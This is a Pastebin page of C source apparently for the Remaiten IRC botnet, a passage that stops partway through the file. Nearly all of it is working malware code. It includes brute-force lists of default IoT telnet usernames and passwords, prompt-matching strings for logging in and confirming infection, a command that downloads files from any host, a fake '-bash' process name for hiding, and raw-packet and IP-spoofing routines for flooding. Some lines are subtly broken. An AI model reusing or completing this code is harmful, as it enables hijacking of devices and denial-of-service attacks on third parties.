API tools faq
paste
Advertisement
mysql_Anarchy

[ C ] Remaiten Botnet

mysql_Anarchy
Jun 4th, 2018
1,838
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 89.87 KB | None | 0 0
raw download clone embed print report
  1. // ~~ The best
  2. #define STARTUP
  3. #undef IDENT
  4. #define FAKENAME "-bash"
  5. #define cnport 6667
  6. #define BOTuser "botnet"
  7. #define BOTident "UZI"
  8. #define CHAN "#JustAnotherBotnet"
  9. #define KEY ""
  10. #define PREFIX "[BOT]"
  11. #define CMD_IAC   255
  12. #define CMD_WILL  251
  13. #define CMD_WONT  252
  14. #define CMD_DO    253
  15. #define CMD_DONT  254
  16. #define PAD_RIGHT 1
  17. #define PAD_ZERO 2
  18. #define PRINT_BUF_LEN 12
  19. #define OPT_SGA   3
  20. #define SOCKBUF_SIZE 1024
  21. #define MAX_NICK_LENGTH 31
  22. #define NUM_ADMINS 2
  23. #define NUM_THREADS 150
  24. #define PHI 0x9e3779b9
  25. #include <stdarg.h>
  26. #include <pthread.h>
  27. #include <errno.h>
  28. #include <stdio.h>
  29. #include <stdlib.h>
  30. #include <string.h>
  31. #include <sys/types.h>
  32. #include <sys/stat.h>
  33. #include <fcntl.h>
  34. #include <strings.h>
  35. #include <netinet/in.h>
  36. #include <unistd.h>
  37. #include <sys/time.h>
  38. #include <sys/socket.h>
  39. #include <signal.h>
  40. #include <arpa/inet.h>
  41. #include <netdb.h>
  42. #include <time.h>
  43. #include <sys/wait.h>
  44. #include <sys/ioctl.h>
  45. #include <net/if.h>
  46. #include <netinet/ip.h>
  47. #include <netinet/tcp.h>
  48. //#######################
  49. //########UZI############
  50. //#######################
  51. // God bot written by ZH The Lord.
  52.  
  53. char encodes[] = {
  54.     '<', '>', '@', '_', ';', ':', ',', '.', '-', '+', '*', '^', '?', '=', ')', '(',
  55.     '|', 'A', 'B', '&', '%', '$', 'D', '"', '!', 'w', 'k', 'y', 'x', 'z', 'v', 'u',
  56.     't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'i', 'h', 'g', 'f', 'e', 'd', 'c',
  57.     'b', 'a', '~', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'F', 'U', 'C', 'K'
  58. };
  59.  
  60. char decodes[] = {
  61.     '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
  62.     'g', 'h', 'i', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'z', 'y',
  63.     'w', 'k', 'x', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'L', 'M', 'N', 'O',
  64.     'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'Z', 'Y', 'W', 'K', 'X', '|', ':', '.', ' '
  65. };
  66.  
  67. char encoded[512], decoded[512];
  68.  
  69. void encode(char *str) {
  70.     int x = 0, i = 0, c;
  71.  
  72.     memset(encoded, 0, sizeof(encoded));
  73.     while (x < strlen(str)) {
  74.         for (c = 0; c <= sizeof(decodes); c++) {
  75.             if (str[x] == decodes[c]) {
  76.                 encoded[i] = encodes[c];
  77.                 i++;
  78.             }
  79.         }
  80.  
  81.         x++;
  82.     }
  83.  
  84.     encoded[i] = '\0';
  85.     return;
  86. }
  87.  
  88. void decode(char *str) {
  89.     int x = 0, i = 0, c;
  90.  
  91.     memset(decoded, 0, sizeof(decoded));
  92.    
  93.     while (x < strlen(str)) {
  94.         for (c = 0; c <= sizeof(encodes); c++) {
  95.             if (str[x] == encodes[c]) {
  96.                 decoded[i] = decodes[c];
  97.                 i++;
  98.             }
  99.         }
  100.  
  101.         x++;
  102.     }
  103.  
  104.     decoded[i] = '\0';
  105.     return;
  106. }
  107. int numservers=1;
  108. int *maxtime=3600;
  109. char *servers[] = {
  110.         "127.0.0.1",
  111.         (void*)0
  112. };
  113.  
  114. int *maxSTDpacketsize=4096;
  115. char *strng;
  116. char *strng2;
  117. int *setpacketsize;
  118. int *maxthreads=2048;
  119. int *threadamount;
  120.  
  121.  
  122. char admins[NUM_ADMINS][MAX_NICK_LENGTH] = {"kekcrew", "kekcrew"};
  123.  
  124.  
  125.  
  126. const char *UserAgents[] = {
  127.       "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0;  http://www.beslist.nl/",
  128.       "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  129.       "zspider/0.9-dev http://feedback.redkolibri.com/",
  130.       "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  131.       "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  132.       "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  133.       "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  134.       "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  135.       "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  136.       "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  137.       "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  138.       "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  139.       "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  140.  
  141.       "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  142.       "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  143.       "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  144.       "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  145.       "Mozilla/5.0 (compatible; mxbot/1.0;  http://www.chainn.com/mxbot.html)",
  146.       "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  147.       "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  148.       "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  149.       "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  150.       "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  151.       "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  152.       "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  153.       "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  154.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  155.       "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  156.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  157.       "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  158.       "Opera/9.20 (Windows NT 6.0; U; en)",
  159.       "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  160.       "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  161.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  162.       "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  163.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  164.       "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  165.       "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  166.       "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  167.       "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  168.       "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  169.       "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  170.       "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  171.       "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  172.       "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  173.       "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  174.       "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  175.       "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  176.       "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  177.       "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  178.       "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  179.       "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  180.       "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  181.     "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  182. };
  183. char *getBuild() { //detect nearly every architecture. Coded by ZoneHax
  184.     #if defined(__x86_64__) || defined(_M_X64)
  185.     return "x86_64";
  186.     #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)
  187.     return "x86_32";
  188.     #elif defined(__ARM_ARCH_2__)
  189.     return "ARM2";
  190.     #elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)
  191.     return "ARM3";
  192.     #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  193.     return "ARM4T";
  194.     #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  195.     return "ARM5"
  196.     #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_)
  197.     return "ARM6T2";
  198.     #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__)
  199.     return "ARM6";
  200.     #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
  201.     return "ARM7";
  202.     #elif defined(__aarch64__)
  203.     return "ARM64";
  204.     #elif defined(mips) || defined(__mips__) || defined(__mips)
  205.     return "MIPS";
  206.     #elif defined(__sh__)
  207.     return "SUPERH";
  208.     #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)
  209.     return "POWERPC";
  210.     #elif defined(__sparc__) || defined(__sparc)
  211.     return "SPARC";
  212.     #elif defined(__m68k__)
  213.     return "M68K";
  214.     #else
  215.     return "UNKNOWN";
  216.     #endif
  217. }
  218. char *uziusernames[] = {
  219.     "telnet\0", "root\0","root\0","admin\0","admin\0","user\0","login\0",
  220.     "guest\0", "support\0","root\0","root\0","CISCO\0","oracle\0","tim\0",
  221.     "root\0","root\0","root\0","root\0","root\0","root\0","root\0","root\0",
  222.     "support\0","root\0","admin\0","root\0","user\0","admin\0","root\0",
  223.     "admin\0","root\0","admin\0","admin\0","root\0","root\0","root\0",
  224.     "root\0","Administrator\0","service\0","supervisor\0","guest\0",
  225.     "guest\0","guest\0","admin1\0","administrator\0","666666\0",
  226.     "888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0",
  227.     "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0",
  228.     "system\0","ikwb\0","dreambox\0","user\0","realtek\0",
  229.     "00000000\0", "1111111\0","1234\0","12345\0",
  230.     "54321\0","123456\0","7ujMko0admin\0",
  231.     "1234\0", "pass\0", "meinsm\0", "tech\0",  "fucker\0",
  232. };
  233. char *uzipasswords[] = {
  234.     "telnet\0","root\0","admin\0","admin\0","toor\0","admin\0",
  235.     "user\0","guest\0","login\0","changeme\0","1234\0","12345\0",
  236.     "123456\0","default\0","pass\0","password\0","support\0","\0",
  237.     "maxided\0","oracle\0","tim\0","xc3511\0","vizxv\0","888888\0",
  238.     "xmhdipc\0","default\0","juantech\0","123456\0","54321\0","support\0",
  239.     "\0","password\0","12345\0","user\0","\0","pass\0","admin1234\0","1111\0",
  240.     "smcadmin\0","1111\0","666666\0","password\0","1234\0","klv123\0","admin\0",
  241.     "service\0","supervisor\0","guest\0","12345\0","password\0","1234\0",
  242.     "666666\0","888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0",
  243.     "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0",
  244.     "system\0","ikwb\0","dreambox\0","user\0","realtek\0","00000000\0",
  245.     "1111111\0","1234\0","12345\0","54321\0","123456\0","7ujMko0admin\0",
  246.     "1234\0","pass\0","meinsm\0","tech\0","fucker\0",
  247. };
  248.  
  249. int scanPid = 0;
  250.  
  251. char *advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", "assword:", (char*)0};                                                                                    
  252. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};                                                        
  253. char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0};                                                                                                    
  254. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  255. char *infectconfirm = "UZI";
  256. char *downloadingbin = {"ownloading", "onnecting to", "% |", "ETA", (char*)0}; // checks if wget is grabbing file.
  257.  
  258. struct telstate_t {
  259.         int fd;
  260.         unsigned int ip;
  261.         unsigned char state;
  262.         unsigned char complete;
  263.         unsigned char usernameInd;     /* username     */
  264.         unsigned char passwordInd;     /* password     */
  265.         unsigned char tempDirInd;     /* tempdir         */
  266.         unsigned int tTimeout;        /* totalTimeout */
  267.         unsigned short bufUsed;
  268.         char *sockbuf;
  269. };
  270.  
  271. struct thread_args{
  272.     int iSTD_Sock;
  273.     struct sockaddr_in *sin;
  274. };
  275.  
  276. int sock,changeservers=0;
  277. char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  278. unsigned int *pids, actualparent;
  279. unsigned long spoofs=0, spoofsm=0, numpids=0;
  280. static uint32_t Q[4096], c = 362436;
  281. struct in_addr ourIP;
  282. unsigned char macAddress[6] = {0};
  283. int strwildmatch(const char* pattern, const char* string) {
  284.     switch(*pattern) {
  285.         case '\0': return *string;
  286.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  287.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  288.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  289.     }
  290. }
  291.  
  292. uint32_t rand_cmwc(void)
  293. {
  294.         uint64_t t, a = 18782LL;
  295.         static uint32_t i = 4095;
  296.         uint32_t x, r = 0xfffffffe;
  297.         i = (i + 1) & 4095;
  298.         t = a * Q[i] + c;
  299.         c = (uint32_t)(t >> 32);
  300.         x = t + c;
  301.         if (x < c) {
  302.                 x++;
  303.                 c++;
  304.         }
  305.         return (Q[i] = r - x);
  306. }
  307. int sclose(int fd) {
  308.         if(3 > fd) return 1;
  309.         close(fd);
  310.         return 0;
  311. }
  312. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  313. {
  314.         int got = 1, total = 0;
  315.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  316.         return got == 0 ? NULL : buffer;
  317. }
  318. int getOurIP()
  319. {
  320.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  321.         if(sock == -1) return 0;
  322.  
  323.         struct sockaddr_in serv;
  324.         memset(&serv, 0, sizeof(serv));
  325.         serv.sin_family = AF_INET;
  326.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  327.         serv.sin_port = htons(53);
  328.  
  329.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  330.         if(err == -1) return 0;
  331.  
  332.         struct sockaddr_in name;
  333.         socklen_t namelen = sizeof(name);
  334.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  335.         if(err == -1) return 0;
  336.  
  337.         ourIP.s_addr = name.sin_addr.s_addr;
  338.  
  339.         int cmdline = open("/proc/net/route", O_RDONLY);
  340.         char linebuf[4096];
  341.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  342.         {
  343.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  344.                 {
  345.                         unsigned char *pos = linebuf;
  346.                         while(*pos != '\t') pos++;
  347.                         *pos = 0;
  348.                         break;
  349.                 }
  350.                 memset(linebuf, 0, 4096);
  351.         }
  352.         close(cmdline);
  353.  
  354.         if(*linebuf)
  355.         {
  356.                 int i;
  357.                 struct ifreq ifr;
  358.                 strcpy(ifr.ifr_name, linebuf);
  359.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  360.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  361.         }
  362.  
  363.         close(sock);
  364. }
  365. int realrand(int low, int high) {
  366.   srand(time(NULL) + getpid());
  367.   return (rand() % (high + 1 - low) + low);
  368. }
  369. void makeRandomShit(unsigned char *buf, int length) {
  370.     srand(time(NULL));
  371.     int i = 0;
  372.     for(i = 0; i < length; i++) buf[i] = rand();
  373. }
  374. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  375. {
  376.         iph->ihl = 5;
  377.         iph->version = 4;
  378.         iph->tos = 0;
  379.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  380.         iph->id = rand_cmwc();
  381.         iph->frag_off = 0;
  382.         iph->ttl = MAXTTL;
  383.         iph->protocol = protocol;
  384.         iph->check = 0;
  385.         iph->saddr = source;
  386.         iph->daddr = dest;
  387. }
  388. int Send(int sock, char *words, ...) {
  389.         static char textBuffer[1024];
  390.         va_list args;
  391.         va_start(args, words);
  392.         vsprintf(textBuffer, words, args);
  393.         va_end(args);
  394.         return write(sock,textBuffer,strlen(textBuffer));
  395. }
  396. int mfork(char *sender) {
  397.     unsigned int parent, *newpids, i;
  398.     if (disabled == 1) {
  399.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  400.         return 1;
  401.     }
  402.     parent=fork();
  403.     if (parent <= 0) return parent;
  404.     numpids++;
  405.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  406.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  407.     newpids[numpids-1]=parent;
  408.     free(pids);
  409.     pids=newpids;
  410.     return parent;
  411. }
  412. unsigned long getspoof() {
  413.     if (!spoofs) return rand();
  414.     if (spoofsm == 1) return ntohl(spoofs);
  415.     return ntohl(spoofs+(rand() % spoofsm)+1);
  416. }
  417.  
  418. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  419. char *makestring() {
  420.     char *tmp;
  421.     int len=(rand()%5)+4,i;
  422.     FILE *file;
  423.     tmp=(char*)malloc(len+1);
  424.     memset(tmp,0,len+1);
  425.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  426.     else {
  427.         int a=((rand()*rand())%45402)+1;
  428.         char buf[1024];
  429.         for (i=0;i<a;i++) fgets(buf,1024,file);
  430.         memset(buf,0,1024);
  431.         fgets(buf,1024,file);
  432.         filter(buf);
  433.         memcpy(tmp,buf,len);
  434.         fclose(file);
  435.     }
  436.     return tmp;
  437. }
  438. void identd() {
  439.         int sockname,sockfd,sin_size,tmpsock,i;
  440.         struct sockaddr_in my_addr,their_addr;
  441.         char szBuffer[1024];
  442.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  443.         my_addr.sin_family = AF_INET;
  444.         my_addr.sin_port = htons(113);
  445.         my_addr.sin_addr.s_addr = INADDR_ANY;
  446.         memset(&(my_addr.sin_zero), 0, 8);
  447.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  448.         if (listen(sockfd, 1) == -1) return;
  449.         if (fork() == 0) return;
  450.         sin_size = sizeof(struct sockaddr_in);
  451.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  452.         for(;;) {
  453.                 fd_set bla;
  454.                 struct timeval timee;
  455.                 FD_ZERO(&bla);
  456.                 FD_SET(tmpsock,&bla);
  457.                 timee.tv_sec=timee.tv_usec=60;
  458.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  459.                 if (FD_ISSET(tmpsock,&bla)) break;
  460.         }
  461.         i = recv(tmpsock,szBuffer,1024,0);
  462.         if (i <= 0 || i >= 20) exit(0);
  463.         szBuffer[i]=0;
  464.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  465.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  466.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  467.         close(tmpsock);
  468.         close(sockfd);
  469.         exit(0);
  470. }
  471. long pow(long a, long b) {
  472.         if (b == 0) return 1;
  473.         if (b == 1) return a;
  474.         return a*pow(a,b-1);
  475. }
  476. u_short in_cksum(u_short *addr, int len) {
  477.         register int nleft = len;
  478.         register u_short *w = addr;
  479.         register int sum = 0;
  480.         u_short answer =0;
  481.         while (nleft > 1) {
  482.                 sum += *w++;
  483.                 nleft -= 2;
  484.         }
  485.         if (nleft == 1) {
  486.                 *(u_char *)(&answer) = *(u_char *)w;
  487.                 sum += answer;
  488.         }
  489.         sum = (sum >> 16) + (sum & 0xffff);
  490.         sum += (sum >> 16);
  491.         answer = ~sum;
  492.         return(answer);
  493. }
  494. void get(int sock, char *sender, int argc, char **argv) {
  495.         int sock2,i,d;
  496.         struct sockaddr_in server;
  497.         unsigned long ipaddr;
  498.         char buf[1024];
  499.         FILE *file;
  500.         unsigned char bufm[4096];
  501.         if (mfork(sender) != 0) return;
  502.         if (argc < 2) {
  503.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  504.                 exit(0);
  505.         }
  506.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  507.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  508.                 exit(0);
  509.         }
  510.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  511.         else strcpy(buf,argv[1]);
  512.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  513.         buf[i]=0;
  514.         server.sin_family = AF_INET;
  515.         server.sin_port = htons(80);
  516.         if ((ipaddr = inet_addr(buf)) == -1) {
  517.                 struct hostent *hostm;
  518.                 if ((hostm=gethostbyname(buf)) == NULL) {
  519.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  520.                         exit(0);
  521.                 }
  522.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  523.         }
  524.         else server.sin_addr.s_addr = ipaddr;
  525.         memset(&(server.sin_zero), 0, 8);
  526.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  527.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  528.                 exit(0);
  529.         }
  530.  
  531.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  532.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  533.         file=fopen(argv[2],"wb");
  534.         while(1) {
  535.                 int i;
  536.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  537.                 if (i < 4096) bufm[i]=0;
  538.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  539.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  540.                         goto done;
  541.                 }
  542.         }
  543.         done:
  544.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  545.         while(1) {
  546.                 int i,d;
  547.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  548.                 if (i < 4096) bufm[i]=0;
  549.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  550.         }
  551.         fclose(file);
  552.         close(sock2);
  553.         exit(0);
  554. }
  555. void getspoofs(int sock, char *sender, int argc, char **argv) {
  556.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  557.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  558.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  559. }
  560. void version(int sock, char *sender, int argc, char **argv) {
  561.         Send(sock,"NOTICE %s : Version 2\n",sender);
  562. }
  563. void nickc(int sock, char *sender, int argc, char **argv) {
  564.         if (argc != 1) {
  565.                 Send(sock,"NOTICE %s :7NICK <nick>\n",sender);
  566.                 return;
  567.         }
  568.         if (strlen(argv[1]) >= 10) {
  569.                 Send(sock,"NOTICE %s :7Nick cannot be larger than 9 characters.\n",sender);
  570.                 return;
  571.         }
  572.         Send(sock,"NICK %s\n",argv[1]);
  573. }
  574. void disable(int sock, char *sender, int argc, char **argv) {
  575.         if (argc != 1) {
  576.                 Send(sock,"NOTICE %s :7DISABLE <pass>\n",sender);
  577.                 Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  578.                 return;
  579.         }
  580.     if (disabled) {
  581.         Send(sock,"NOTICE %s :7Already disabled.\n",sender);
  582.         return;
  583.     }
  584.     if (strlen(argv[1]) > 254) {
  585.                 Send(sock,"NOTICE %s :7Password too long! > 254\n",sender);
  586.                 return;
  587.     }
  588.         disabled=1;
  589.     memset(dispass,0,256);
  590.     strcpy(dispass,argv[1]);
  591.     Send(sock,"NOTICE %s :7Disable successful.\n");
  592. }
  593. void enable(int sock, char *sender, int argc, char **argv) {
  594.         if (argc != 1) {
  595.                 Send(sock,"NOTICE %s :7ENABLE <pass>\n",sender);
  596.                 Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  597.                 return;
  598.         }
  599.     if (!disabled) {
  600.         Send(sock,"NOTICE %s :7Already enabled.\n",sender);
  601.         return;
  602.     }
  603.     if (strcasecmp(dispass,argv[1])) {
  604.         Send(sock,"NOTICE %s :7Wrong password\n",sender);
  605.         return;
  606.     }
  607.         disabled=0;
  608.     Send(sock,"NOTICE %s :7Password correct.\n",sender);
  609. }
  610. void spoof(int sock, char *sender, int argc, char **argv) {
  611.         char ip[256];
  612.         int i, num;
  613.         unsigned long uip;
  614.         if (argc != 1) {
  615.                 Send(sock,"NOTICE %s :7Removed all spoofs\n",sender);
  616.                 spoofs=0;
  617.                 spoofsm=0;
  618.                 return;
  619.         }
  620.         if (strlen(argv[1]) > 16) {
  621.                 Send(sock,"NOTICE %s :7What kind of subnet address is that? Do something like: 169.40\n",sender);
  622.                 return;
  623.         }
  624.         strcpy(ip,argv[1]);
  625.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  626.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  627.         num=-(num-4);
  628.         for (i=0;i<num;i++) strcat(ip,".0");
  629.         if (num == 0) spoofsm=1;
  630.         else spoofsm=pow(256,num);
  631.         spoofs=uip;
  632. }
  633. struct udphdr {
  634.         unsigned short source;
  635.         unsigned short dest;
  636.         unsigned short len;
  637.         unsigned short check;
  638. };
  639. struct send_tcp {
  640.     struct iphdr ip;
  641.     struct tcphdr tcp;
  642.     char buf[20];
  643. };
